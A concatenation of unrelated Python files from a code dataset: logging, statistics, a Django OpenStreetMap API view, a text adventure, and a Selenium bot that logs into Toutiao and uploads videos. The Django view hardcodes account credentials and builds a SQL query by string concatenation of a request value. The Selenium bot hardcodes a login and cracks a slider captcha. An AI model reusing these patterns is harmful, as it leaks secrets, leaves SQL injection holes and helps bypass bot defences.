' % info\n\n html = ('%s%s') % (info, tb)\n if force_utf8:\n html = html.encode('utf8')\n msg.attach(MIMEText(html, 'html'))\n if self.username:\n if self.secure is not None:\n smtp.ehlo()\n smtp.starttls(*self.secure)\n smtp.ehlo()\n smtp.login(self.username, self.password)\n smtp.sendmail(self.fromaddr, self.toaddrs, msg.as_string())\n smtp.quit()\n\n def emit(self, record):\n try:\n self._send_mail(record, force_utf8=False)\n except (KeyboardInterrupt, SystemExit):\n raise\n except (UnicodeEncodeError):\n self._send_mail(record, force_utf8=True)\n except:\n self.handleError(record)\n","sub_path":"lib/colorfulsmtp.py","file_name":"colorfulsmtp.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"459915843","text":"import csv\nimport math\n\ndataSheet = csv.reader(open('D:\\Apps\\Standert Diviation\\data.csv', newline=''))\nlistData = list(dataSheet)\n\ntotal = 0\n\nfor i in listData:\n total = total + int(i[0])\n\nlenOfListData = len(listData)\nmean = total / lenOfListData\n\n\nsquareList=[]\nfor i in listData:\n a = int(i[0]) - mean\n a = a**2\n squareList.append(a)\n\ntotalsq = 0\nfor i in squareList:\n totalsq += i\n\ntotalsq /= lenOfListData\nstd = math.sqrt(totalsq)\n\nprint('Standert Deviation: ', std)","sub_path":"Standard_Deviation.py","file_name":"Standard_Deviation.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"616952165","text":"#!/usr/bin/env python\n# Copyright 2017 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\"\"\"Custom swarming triggering script.\n\nThis script does custom swarming triggering logic, to enable device affinity\nfor our bots, while lumping all trigger calls under one logical step.\n\nThis script receives multiple machine configurations on the command line in the\nform of quoted strings. These strings are JSON dictionaries that represent\nentries in the \"dimensions\" array of the \"swarming\" dictionary in the\nsrc/testing/buildbot JSON files.\n\nScripts inheriting must have roughly the same command line interface as\nswarming.py trigger. It modifies it in the following ways:\n * Intercepts the dump-json argument, and creates its own by combining the\n results from each trigger call.\n * Scans through the multiple-trigger-configs dictionaries. For any key found,\n deletes that dimension from the originally triggered task's dimensions. This\n is what allows the Swarming dimensions to be replaced. Must contain the\n dimension \"id\" for the perf device affinity use case.\n * On a per-shard basis, adds the Swarming dimensions chosen from the\n multiple-trigger-configs list to the dimensions for the shard.\n\nThis script is normally called from the swarming recipe module in tools/build.\n\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\n\nimport base_test_triggerer\n\nclass PerfDeviceTriggerer(base_test_triggerer.BaseTestTriggerer):\n def __init__(self):\n super(PerfDeviceTriggerer, self).__init__()\n\n def append_additional_args(self, args, shard_index):\n # Append a tag to the swarming task with the shard number\n # so we can query for the last bot that ran a specific shard.\n tag = 'shard:%d' % shard_index\n shard_tag = ['--tag', tag]\n # Need to append this before the dash if present so it gets fed to\n # the swarming task itself.\n if '--' in args:\n dash_ind = args.index('--')\n return args[:dash_ind] + shard_tag + args[dash_ind:]\n else:\n return args + shard_tag\n\n def select_config_indices(self, args, verbose):\n # For perf we want to trigger a job for every valid config since\n # each config represents exactly one bot in the perf swarming pool,\n selected_configs = []\n for i in xrange(args.shards):\n selected_configs.append(i)\n return selected_configs\n\n\ndef main():\n triggerer = PerfDeviceTriggerer()\n # Setup args for common contract of base class\n parser = triggerer.setup_parser_contract(\n argparse.ArgumentParser(description=__doc__))\n args, remaining = parser.parse_known_args()\n return triggerer.trigger_tasks(args, remaining)\n\nif __name__ == '__main__':\n sys.exit(main())\n\n","sub_path":"testing/trigger_scripts/perf_device_trigger.py","file_name":"perf_device_trigger.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"293738455","text":"import base64\nfrom django.core import serializers\nfrom django.core.exceptions import ValidationError, ObjectDoesNotExist\nfrom django.db import connection\nfrom django.db.utils import IntegrityError\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse, HttpResponseBadRequest\nfrom django.http.response import JsonResponse\nfrom myapp import models\nfrom myapp.view.utilidades import dictfetchall, usuarioAutenticado\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import (\n AllowAny,\n IsAuthenticated\n)\nfrom shapely.geometry import Polygon, LineString, shape\nfrom xml.etree.ElementTree import Element, SubElement, tostring\n\nimport geopandas\nimport http.client\nimport json\n# import json.decoder.jso\nimport xml.etree.ElementTree as ET\n\nfrom opc.opc_settings import settings\n\n#@brief url de API REST Open Street Maps\nif 'osm-api-url' in settings.keys():\n osmRestApiUrl = settings['osm-api-url']\n\n##\n# @brief Función que provee las cabeceras que requiere el API REST de Open Street Maps\n# @return Diccionario\n#\ndef osmHeaders():\n\n #credentials = 'inge4neuromedia@gmail.com:;K7c8`EQ+82eyHKd'.encode('utf-8')\n credentials = 'develop.opx@gmail.com:12345678'.encode('utf-8')\n credentialsEncode = str(base64.b64encode(credentials), 'utf-8')\n\n headers = {\n 'Authorization': 'Basic ' + credentialsEncode,\n 'Content-Type': 'text/xml'\n }\n\n return headers\n\n##\n# @brief Función que agrega un nuevo changeset en Open Street Maps\n# @return Respuesta de API de Open Street Maps\n#\ndef agregarChangeset():\n\n try:\n #Armando XML\n root = Element('osm')\n\n changeset = SubElement(root, 'changeset')\n changeset.set('version', '0.6')\n\n tag = SubElement(changeset, 'tag')\n tag.set('k', 'comment')\n tag.set('v', 'test')\n\n client = http.client.HTTPSConnection(osmRestApiUrl)\n client.request('PUT', '/api/0.6/changeset/create', tostring(root), osmHeaders())\n\n response = client.getresponse()\n\n if response.status == 200:\n return str(response.read(), 'utf-8')\n\n else:\n raise TypeError(\"Error Al intentar Crear Changeset OSM: \" + str(response.read(), 'utf-8'))\n\n except:\n raise TypeError(\"Error Al intentar Crear Changeset OSM \" + str(response.read(), 'utf-8'))\n\n##\n# @brief Funcion que cierre Changeset en Open Street Maps\n# @param changeset changeset abierto de Open Street Maps\n# @return Respuesta de API de Open Street Maps\n#\ndef cerrarChangeset(changeset):\n\n client = http.client.HTTPSConnection(osmRestApiUrl)\n client.request('PUT', '/api/0.6/changeset/' + changeset + '/close', None, osmHeaders())\n\n response = client.getresponse()\n\n##\n# @brief Recurso que agrega elemento en Open Street Maps\n# @param request Instancia HttpRequest\n# @param tareid Identificación de la tarea\n# @return Cadena JSON\n#\n@api_view([\"POST\"])\n@permission_classes((IsAuthenticated,))\ndef AgregarElemento(request, tareid):\n\n try:\n tarea = models.Task.objects.get(pk=tareid)\n #instrumento = models.Instrument.objects.get(pk = tarea.instrument.instrument_id)\n instrumento = tarea.instrument\n if instrumento.instrument_type == 2:\n\n data = json.loads(request.body)\n osmelement = models.OsmElement.objects.get(pk = data['osmelement'])\n\n if osmelement.closed_way == 1:\n coordinates = data['coordinates']\n else:\n coordinates = data['coordinates']\n\n nodes = []\n changeset = agregarChangeset()\n nodeCount = 0\n\n # Armando XML\n root = Element('osmChange')\n root.set('version', '0.6')\n\n create = SubElement(root, 'create')\n\n # Creando Nodos\n\n for c in coordinates:\n nodeCount -= 1\n longitud = str(c['lng'])\n latitud = str(c['lat'])\n\n node = SubElement(create, 'node')\n node.set('id', str(nodeCount))\n node.set('lon', longitud)\n node.set('lat', latitud)\n node.set('version', \"0\")\n node.set('changeset', changeset)\n\n nodes.append(node)\n\n #Creando Way\n way = SubElement(create, 'way')\n way.set('id', '-1')\n way.set('changeset', changeset)\n\n #Especificando Nodos del way\n for node in nodes:\n nd = SubElement(way, 'nd')\n nd.set('ref', node.get('id'))\n\n if osmelement.closed_way == 1:\n nd = SubElement(way, 'nd')\n nd.set('ref', nodes[0].get('id'))\n\n #Etiqueta de Elemento tipo Way\n tag = SubElement(way, 'tag')\n tag.set('k', osmelement.osm_key)\n tag.set('v', osmelement.osm_value)\n\n # Obteniendo cadena XML a enviar a OSM\n xmlRequest = str(tostring(root), 'utf-8')\n\n #return HttpResponse(xmlRequest)\n\n #Almacendo Elemento en OSM\n client = http.client.HTTPSConnection(osmRestApiUrl)\n client.request('POST', '/api/0.6/changeset/' + changeset + '/upload', xmlRequest, osmHeaders())\n response = client.getresponse()\n\n if response.status == 200:\n\n # Cerrar Changeset OSM\n cerrarChangeset(changeset)\n\n xmlResponse = str(response.read(), 'utf-8')\n xmlObject = ET.fromstring(xmlResponse)\n wayElement = xmlObject.findall('way')[0]\n\n #Almacenando Cartografia\n user = usuarioAutenticado(request)\n person = models.Person.objects.get(user__userid__exact = user.userid)\n cartografia = almacenarCartografia(instrumento, wayElement.get('new_id'), osmelement, person, tarea)\n\n response = {\n 'code': 200,\n #'cartografia': cartografia,\n 'status': 'success'\n }\n\n else:\n xmlResponse = str(response.read(), 'utf-8')\n raise TypeError(\"Error al momento de crear el elemento en OSM: \" + xmlResponse)\n\n else:\n raise TypeError(\"El tipo de instrumento es inválido\")\n\n except ObjectDoesNotExist as e:\n response = {\n 'code': 404,\n 'message': str(e),\n 'status': 'error'\n }\n\n except ValidationError as e:\n response = {\n 'code': 400,\n 'message': str(e),\n 'status': 'error'\n }\n\n except json.JSONDecodeError:\n response = {\n 'code': 400,\n 'message': 'JSON inválido',\n 'status': 'error'\n }\n\n except IntegrityError as e:\n response = {\n 'code': 400,\n 'message': str(e),\n 'status': 'error'\n }\n\n except TypeError as e:\n response = {\n 'code': 400,\n 'message': str(e),\n 'status': 'error'\n }\n\n # except:\n # response = {\n # 'code': 500,\n # 'status': 'error'\n # }\n\n return JsonResponse(response, status=response['code'])\n\n##\n# @brief Funcion que asocia la cartografia realizada en Open Street Maps al sistema\n# @param instrid Identificación del Instrumento\n# @param wayid Identificación del elemento agregado en Open Street Maps\n# @param elemosmid Identificación de tipo de elemento de Open Street Maps\n# @param userid Identificación del usuario que realizo la cartografia\n# @param tareid Identificación de la tarea\n# @return Diccionario con la información de la cartografia realizada\n#\ndef almacenarCartografia(instrument, wayid, osmelement, person, task):\n try:\n\n cartografia = models.Cartography(instrument=instrument, osmid=wayid, osm_elemtent=osmelement, person=person, task=task)\n cartografia.save()\n\n return serializers.serialize('python', [cartografia])[0]\n except ObjectDoesNotExist as e:\n response = {\n 'code': 404,\n 'message': str(e),\n 'status': 'error'\n }\n\n##\n# @brief Recurso que provee los tipos de elementos de Open Street Maps Disponibles\n# @param request instancia HttpRequest\n# @return cadena JSON\n#\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef elementosOsm(request):\n\n elementosOsm = models.OsmElement.objects.all().values()\n\n response = {\n 'code': 200,\n 'elementosOSM': list(elementosOsm),\n 'status': 'success'\n }\n\n return JsonResponse(response, status=response['code'], safe=False)\n\n##\n# @brief Funcion que provee en formato GeoJSON las cartografias realizadas en una tarea\n# @param tareid Identificación de la tarea\n# @return Diccionario\n#\ndef detalleCartografia(tareid):\n\n try:\n tarea = models.Task.objects.get(pk=tareid)\n #instrumento = models.Instrument.objects.get(pk = tarea.instrument.instrument_id)\n instrumento = tarea.instrument\n if instrumento.instrument_type == 2:\n \n query = \"SELECT c.*, eo.osmelement_name as tipo_elemento_osm, eo.closed_way FROM opx.cartography as c \" \\\n \"INNER JOIN opx.osm_element as eo ON c.osm_elemtent_id = eo.osmelement_id \" \\\n \"WHERE c.task_id = '\" + tareid + \"' \" \\\n \"AND c.cartography_state <> 0\"\n\n with connection.cursor() as cursor:\n cursor.execute(query)\n cartografias = dictfetchall(cursor)\n\n if len(cartografias) > 0:\n\n geometries = []\n\n #Detalle de Way OSM\n for ct in cartografias:\n wayHttpClient = http.client.HTTPSConnection(osmRestApiUrl)\n wayHttpClient.request('GET', '/api/0.6/way/' + ct['osmid'], None, osmHeaders())\n\n wayHttpResponse = wayHttpClient.getresponse()\n\n if wayHttpResponse.status == 200:\n xmlResponse = str(wayHttpResponse.read(), 'utf-8')\n xmlObject = ET.fromstring(xmlResponse)\n nodes = xmlObject.findall('way')[0].findall('nd')\n\n\n nodesGeometry = []\n\n #Detalle de cada uno de los nodos del way\n for node in nodes:\n nodeHttpClient = http.client.HTTPSConnection(osmRestApiUrl)\n nodeHttpClient.request('GET', '/api/0.6/node/' + node.get('ref'), None, osmHeaders())\n\n nodeHttpResponse = nodeHttpClient.getresponse()\n\n if nodeHttpResponse.status == 200:\n xmlResponse = str(nodeHttpResponse.read(), 'utf-8')\n xmlObject = ET.fromstring(xmlResponse)\n nodeElement = xmlObject.findall('node')[0]\n\n # print(xmlResponse)\n\n nodesGeometry.append((float(nodeElement.get('lon')), float(nodeElement.get('lat'))))\n\n\n else:\n raise TypeError(\"No se pudo obtener información de nodo OSM\")\n\n if ct['closed_way'] == 1:\n geometry = Polygon(nodesGeometry)\n else:\n geometry = LineString(nodesGeometry)\n\n geometries.append(geometry)\n\n else:\n raise TypeError(\"No se pudo obtener información de way OSM \" + str(wayHttpResponse.read(), 'utf-8'))\n\n geojson = geopandas.GeoSeries(geometries).__geo_interface__\n\n # Agregando propiedades a cada uno de los Features del GEOJSON\n for index, item in enumerate(geojson['features']):\n properties = {\n 'id': str(cartografias[index]['cartography_id']),\n 'tipo': cartografias[index]['tipo_elemento_osm']\n }\n\n item['properties'] = properties\n\n response = {\n 'code': 200,\n 'geojson': json.dumps(geojson),\n 'status': 'success'\n }\n\n else:\n response = {\n 'code': 200,\n 'geojson': '{\"type\": \"FeatureCollection\", \"features\": []}',\n 'status': 'success'\n }\n #raise ObjectDoesNotExist(\"No hay cartografias para este instrumento\")\n\n else:\n raise TypeError(\"Instrumento Inválido\")\n\n except ObjectDoesNotExist as e:\n response = {\n 'code': 404,\n 'message': str(e),\n 'status': 'error'\n }\n\n except ValidationError:\n response = {\n 'code': 400,\n 'status': 'error'\n }\n\n except TypeError as e:\n response = {\n 'code': 400,\n 'message': str(e),\n 'status': 'error'\n }\n\n except:\n response = {\n 'code': 500,\n 'status': 'error'\n }\n\n return response\n\n##\n# @brief Recurso que provee las cartografias realizadas en una tarea\n# @param request Instancia HttpRequest\n# @param tareid Identificación de la tarea\n# @return cadena JSON\n#\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef cartografiasInstrumento(request, tareid):\n\n response = detalleCartografia(tareid)\n\n return JsonResponse(response, safe=False, status=response['code'])\n\n##\n# @brief Recurso que elimina un aporte cartográfico del sistema\n# @param request Instancia HttpRequest\n# @param cartografiaid Identificación de la cartografia\n# @return cadena JSON\n#\n@api_view([\"DELETE\"])\n@permission_classes((IsAuthenticated,))\ndef eliminarCartografia(request, cartografiaid):\n\n try:\n cartografia = models.Cartography.objects.get(pk = cartografiaid)\n cartografia.estado = 0\n cartografia.save()\n\n #cartografia.delete()\n\n response = {\n 'code': 200,\n 'status': 'success'\n }\n\n except ObjectDoesNotExist:\n\n response = {\n 'code': 404,\n 'status': 'error'\n }\n\n except ValidationError:\n\n response = {\n 'code': 400,\n 'status': 'error'\n }\n\n return JsonResponse(response, status=response['code'], safe=False)","sub_path":"myapp/view/osm.py","file_name":"osm.py","file_ext":"py","file_size_in_byte":14515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"202805011","text":"__copyright__ = \"Copyright (c) 2020 Jina AI Limited. All rights reserved.\"\n__license__ = \"Apache-2.0\"\n\nfrom typing import Dict, Sequence, Set, Tuple\n\nfrom . import BaseExecutableDriver\nfrom .helper import pb_obj2dict\nfrom ..helper import typename\nfrom ..proto import jina_pb2\nfrom ..types.document import uid\nfrom jina.types.ndarray.generic import NdArray\n\n\nclass CraftDriver(BaseExecutableDriver):\n \"\"\"Drivers inherited from this Driver will bind :meth:`craft` by default \"\"\"\n\n def __init__(self, executor: str = None, method: str = 'craft', *args, **kwargs):\n super().__init__(executor, method, *args, **kwargs)\n\n def _apply_all(self, docs: Sequence['jina_pb2.DocumentProto'], *args, **kwargs):\n for doc in docs:\n ret = self.exec_fn(**pb_obj2dict(doc, self.exec.required_keys))\n if ret:\n self.set_doc_attr(doc, ret)\n\n def set_doc_attr(self, doc: 'jina_pb2.DocumentProto', doc_info: Dict, protected_keys: Set = None):\n for k, v in doc_info.items():\n if k == 'blob':\n if isinstance(v, jina_pb2.NdArrayProto):\n doc.blob.CopyFrom(v)\n else:\n NdArray(doc.blob).value = v\n elif isinstance(protected_keys, dict) and k in protected_keys:\n self.logger.warning(f'you are assigning a {k} in {typename(self.exec)}, '\n f'is it intentional? {k} will be overwritten by {typename(self)} '\n f'anyway.')\n elif isinstance(v, list) or isinstance(v, tuple):\n doc.ClearField(k)\n getattr(doc, k).extend(v)\n elif isinstance(v, dict):\n getattr(doc, k).update(v)\n else:\n setattr(doc, k, v)\n\n\nclass SegmentDriver(CraftDriver):\n \"\"\"Segment document into chunks using the executor\n \"\"\"\n\n def __init__(\n self,\n traversal_paths: Tuple[str] = ('r',),\n *args,\n **kwargs\n ):\n super().__init__(traversal_paths=traversal_paths, *args, **kwargs)\n\n self._protected_fields = {'length', 'id', 'parent_id', 'granularity'}\n\n def _apply_all(self, docs: Sequence['jina_pb2.DocumentProto'], *args, **kwargs):\n for doc in docs:\n _args_dict = pb_obj2dict(doc, self.exec.required_keys)\n ret = self.exec_fn(**_args_dict)\n if ret:\n for r in ret:\n c = doc.chunks.add()\n self.set_doc_attr(c, r, self._protected_fields)\n c.length = len(ret)\n c.parent_id = doc.id\n c.granularity = doc.granularity + 1\n if not c.mime_type:\n c.mime_type = doc.mime_type\n c.id = uid.new_doc_id(c)\n\n else:\n self.logger.warning(f'doc {doc.id} at level {doc.granularity} gives no chunk')\n","sub_path":"jina/drivers/craft.py","file_name":"craft.py","file_ext":"py","file_size_in_byte":2960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"641681483","text":"#!/usr/bin/env python\n#\n# Copyright 2013 Hannes Juutilainen\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import\n\nimport re\n\nfrom autopkglib import Processor, ProcessorError\n\ntry:\n from urllib.request import urlopen # For Python 3\nexcept ImportError:\n from urllib2 import urlopen # For Python 2\n\n__all__ = [\"VagrantURLProvider\"]\n\n\nMAIN_DOWNLOAD_URL = \"http://www.vagrantup.com/downloads.html\"\n\nre_dmg_url = re.compile(r'https://dl.bintray.com/mitchellh/vagrant/Vagrant[-_][0-9\\.]+\\.dmg)[\\'\\\"]>', re.IGNORECASE)\n\nclass VagrantURLProvider(Processor):\n \"\"\"Provides a download URL for the latest Vagrant\"\"\"\n input_variables = {\n \"base_url\": {\n \"required\": False,\n \"description\": \"The Vagrant download site\",\n },\n }\n output_variables = {\n \"url\": {\n \"description\": \"URL to the latest Vagrant release.\",\n },\n }\n description = __doc__\n\n def parse_download_url(self, base_url):\n \"\"\"Returns the URL\"\"\"\n try:\n f = urlopen(base_url)\n html = f.read()\n f.close()\n except Exception as e:\n raise ProcessorError(\"Can't download %s: %s\" % (base_url, e))\n\n m = re_dmg_url.search(html)\n\n if not m:\n raise ProcessorError(\n \"Couldn't find dmg link in %s\" % base_url)\n\n dmg_url = m.group(\"dmg_url\")\n self.output(\"Found dmg link: %s\" % dmg_url)\n return dmg_url\n\n\n def get_vagrant_dmg_url(self, base_url):\n \"\"\"Find and return a download URL\"\"\"\n\n # Parse the download page to get a dmg link\n dmg_url = self.parse_download_url(base_url)\n\n return dmg_url\n\n\n def main(self):\n base_url = self.env.get(\"base_url\", MAIN_DOWNLOAD_URL)\n self.env[\"url\"] = self.get_vagrant_dmg_url(base_url)\n self.output(\"Found URL %s\" % self.env[\"url\"])\n\n\nif __name__ == \"__main__\":\n processor = VagrantURLProvider()\n processor.execute_shell()\n","sub_path":"HashiCorp/VagrantURLProvider.py","file_name":"VagrantURLProvider.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"632965510","text":"from room import Room\nfrom player import Player\nfrom item import Item\n\n# Declare all the rooms\n\nroom = {\n 'outside': Room(\"Outside Cave Entrance\",\n \"North of you, the cave mount beckons\"),\n\n 'foyer': Room(\"Foyer\", \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\"),\n\n 'overlook': Room(\"Grand Overlook\", \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\"),\n\n 'narrow': Room(\"Narrow Passage\", \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\"),\n\n 'treasure': Room(\"Treasure Chamber\", \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\"),\n}\n\n\n# Link rooms together\n\nroom['outside'].n_to = room['foyer']\nroom['foyer'].s_to = room['outside']\nroom['foyer'].n_to = room['overlook']\nroom['foyer'].e_to = room['narrow']\nroom['overlook'].s_to = room['foyer']\nroom['narrow'].w_to = room['foyer']\nroom['narrow'].n_to = room['treasure']\nroom['treasure'].s_to = room['narrow']\n\nsword = Item('sword', \"a bit dull, but it'll get the job done\")\nshield = Item('shield', \"it's quite sturdy\")\nloot = Item('loot', 'a bag of gold')\nruby = Item('ruby', 'a glowing stone')\n\nroom['outside'].contents.append(sword)\nroom['outside'].contents.append(shield)\nroom['treasure'].contents.append(loot)\nroom['treasure'].contents.append(ruby)\n#\n# Main\n#\n# Make a new player object that is currently in the 'outside' room.\n\n# Write a loop that:\n#\n# * Prints the current room name\n# * Prints the current description (the textwrap module might be useful here).\n# * Waits for user input and decides what to do.\n#\n# If the user enters a cardinal direction, attempt to move to the room there.\n# Print an error message if the movement isn't allowed.\n#\n# If the user enters \"q\", quit the game.\naction_error = '''\n Please enter a valid command:\n grab [item]: pickup an item\n drop [item]: drop an item \n n: move north\n e: move east\n s: move south\n w: move west\n q: quit the game\n '''\n\ndef room_adventure():\n print(\"Let's adventure!\")\n playing = True\n player = Player(\"Charlie\", room['outside'])\n\n while playing:\n print(f\"Your are now at the {player.current_room.name}\")\n print(f\"Your inventory contents are\")\n for i in player.inventory:\n print(f\"a {i.name}\")\n print(f\"You look around you and see\")\n for i in player.current_room.contents:\n print(f\"a {i.name} - {i.description}\")\n print(f\"{player.current_room.description}\")\n action = input(\"What is your move?\").split()\n print(\"\\n\")\n\n if len(action) == 1:\n # Quit if action is Q\n action = action[0]\n if action == \"q\":\n print(\"Best of luck in your future journies\")\n playing = False\n elif action == \"n\":\n try:\n player.current_room = player.current_room.n_to\n except:\n print(\"There is an obstacle in your way, try a different direction\")\n elif action == \"e\":\n try:\n player.current_room = player.current_room.e_to\n except:\n print(\"There is an obstacle in your way, try a different direction\")\n elif action == \"s\":\n try:\n player.current_room = player.current_room.s_to\n except:\n print(\"There is an obstacle in your way, try a different direction\")\n elif action == \"w\":\n try:\n player.current_room = player.current_room.w_to\n except:\n print(\"There is an obstacle in your way, try a different direction\")\n else:\n print(action_error)\n elif len(action) == 2:\n thing = action[1]\n action = action[0]\n if action == 'grab':\n for i in player.current_room.contents:\n if thing == i.name:\n print(f\"You grab the {thing}\")\n player.current_room.remove_item(i)\n player.grab_item(i)\n elif action == 'drop':\n for i in player.inventory:\n if thing == i.name:\n print(f\"You drop the {thing}\")\n player.current_room.add_item(i)\n player.drop_item(i)\n else:\n print(action_error)\n else:\n print(print(action_error))\n\n\nroom_adventure()","sub_path":"src/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":4905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"357737115","text":"#!usr/bin/env python\n# -*- coding: utf-8 -*-#\n\nimport sys\n# -*-coding:UTF-8-*-\n# 引用selenium中的webdriver类\n\nfrom selenium import webdriver\nfrom selenium.webdriver import ActionChains\nimport time\nimport json\nfrom charpter13.Slider import Crack\nfrom selenium.webdriver.common.keys import Keys\nclass Toutiao():\n def __init__(self):\n self.url = 'https://sso.toutiao.com/login/?service=http://sso.bytedance-inc.org/next.html?url=/'\n #self.chrome_driver='' #预留配置chrome_driver的路径\n self.driver = webdriver.Chrome() # webdriver.Chrome(executable_path=self.chrome_driver)\n self.crack = Crack(self.driver)\n\n def login_toutiao(self,phone,password):\n \"\"\"\n 登录头条,保存cookies\n :return:\n \"\"\"\n time.sleep(10)\n self.driver.get(self.url)\n print(self.driver.title)\n # # 移动鼠标到 手机位置点击\n ac = self.driver.find_element_by_id('login-type-account')\n ActionChains(self.driver).move_to_element(ac).click(ac).perform()\n # 输入账号密码\n self.driver.find_element_by_id('user-name').send_keys(phone) # 头条用户名\n self.driver.find_element_by_id('password').send_keys(password) # 头条密码\n time.sleep(5)\n # 点击登录按钮\n login = self.driver.find_element_by_id('bytedance-login-submit')\n ActionChains(self.driver).move_to_element(login).click(login).perform()\n time.sleep(10)\n # 获取cookies\n cookies = self.driver.get_cookies()\n cookies = json.dumps(cookies)\n # 将cookies保存到本地,也可以保存到数据库中\n with open(phone + '.txt', 'w') as f:\n f.write(cookies)\n f = open(phone + '.txt')\n cookie = f.read()\n cookie = json.loads(cookie)\n for i in cookie:\n self.driver.add_cookie(i)\n time.sleep(1)\n self.crack.slider_move()\n time.sleep(5)\n\n def send_video(self, title, video_path,tag_list):\n \"\"\"\n 发送小视频\n title 小视频的标题\n video_path 小视频的路径\n :param title:\n :return: 0 正常;1 视频重复上传失败;\n \"\"\"\n # 转到发布界面\n time.sleep(5)\n video_url = 'https://mp.toutiao.com/profile_v3/xigua/upload-video'\n self.driver.get(video_url)\n time.sleep(10)\n #上传视频\n try:\n upload_video = self.driver.find_element_by_xpath(\"//*[@id='upload-manage']/div[4]/input\")\n except:\n upload_video = self.driver.find_element_by_xpath(\"//*[@id='upload-manage']/div[3]/input\")\n print(\"except=upload_video3\")\n # print(upload_video.get_attribute('accept'))\n upload_video.send_keys(video_path)\n # 上传视频等待时间\n time.sleep(10)\n video = self.driver.find_element_by_xpath(\"//div[@class='upload-btn']/span\")\n if video.text == '视频重复':\n print(\"视频重复=\"+video_path)\n self.driver.maximize_window()\n time.sleep(5)\n video_del = self.driver.find_element_by_xpath(\n \"//*[@id='upload-manage']/div[2]/div[2]/div/div[1]/div[1]/div[1]/div/span[2]\")\n #video_del.click()\n ActionChains(self.driver).move_to_element(video_del).click(video_del).perform()\n # alter 对话框处理\n time.sleep(10)\n video_sure = self.driver.find_element_by_xpath(\n \"//*[@id='__CUSTOM_COMPONENT']/div/div/div/div[2]/div[3]/div[1]\")\n video_sure.click()\n return 1\n # 标题\n title_con = self.driver.find_element_by_xpath(\"//*[@id='upload-manage']/div[2]/div[2]/div/div[1]/div[2]/div[1]/div[3]/div[2]/input\")\n title_con.clear()\n title_con.send_keys(title)\n # 简介\n tag_str = \",\".join(tag_list)\n tag_con = self.driver.find_element_by_xpath(\"//*[@id='upload-manage']/div[2]/div[2]/div/div[1]/div[2]/div[1]/div[5]/div[2]/span[1]/textarea\")\n tag_con.clear()\n tag_con.send_keys(tag_str)\n time.sleep(1)\n # 广告选中\n ad_mon = self.driver.find_element_by_xpath(\n \"//div[@id='upload-manage']/div[2]/div[2]/div/div[1]/div[2]/div[2]/div[3]/div[2]/label[1]/span\")\n ad_mon.click()\n video_tag = self.driver.find_element_by_xpath(\n \"//*[@id='react-select-2--value']/div[2]/input\")\n ActionChains(self.driver).move_to_element(video_tag).click(video_tag).perform()\n for tag in tag_list:\n tag_str = tag + \"\\r\\n \\r\\n\"\n video_tag.send_keys(tag_str)\n time.sleep(1)\n video_send = self.driver.find_element_by_xpath(\"//*[@id='js-batch-footer-0']/div[1]\")\n video_send.click()\n return 0\n\n def close_video(self):\n self.driver.close()\n\n\n\n\nif __name__ == '__main__':\n # 选择浏览器\n toutiao = Toutiao()\n url_cur = \"\"\n url_cent = \"https://sso.bytedance-inc.org/\"\n while url_cur != url_cent:\n try:\n toutiao.login_toutiao('15917912851','13f1c1c')\n except Exception as e:\n pass\n url_cur=toutiao.driver.current_url\n print(\"url_cur=\"+url_cur)\n print(\"登录成功=\" )\n time.sleep(5)\n res = toutiao.send_video(\"123\",\"xxxx\",[\"123\",\"123\"])\n print(res)\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"389269311","text":"#!/usr/bin/python3\n# -*- coding: utf-8; tab-width: 4; indent-tabs-mode: t -*-\n\nimport os\nimport re\nimport glob\nimport socket\nimport shutil\nfrom fu_util import FuUtil\nfrom fu_util import InfoPrinter\nfrom fu_util import LocalFTPd\nfrom fu_common import FuCommon\nfrom os_sysrescuecd import SysrcdCommon\n\n\nclass FuOsGentooLinux:\n\n @staticmethod\n def getOsList():\n return [\n \"Gentoo.For.Desktop.Generic.AMD64\",\n \"Gentoo.For.Desktop.Generic.X86\",\n \"Gentoo.For.Laptop.HP.EliteBook.820.G2\",\n # \"Gentoo.Linux.Server.Edition.Alpha\",\n \"Gentoo.For.Server.Generic.AMD64\",\n # \"Gentoo.Linux.Server.Edition.HPPA\",\n # \"Gentoo.Linux.Server.Edition.IA64\",\n # \"Gentoo.Linux.Server.Edition.MIPS\",\n # \"Gentoo.Linux.Server.Edition.PPC\",\n # 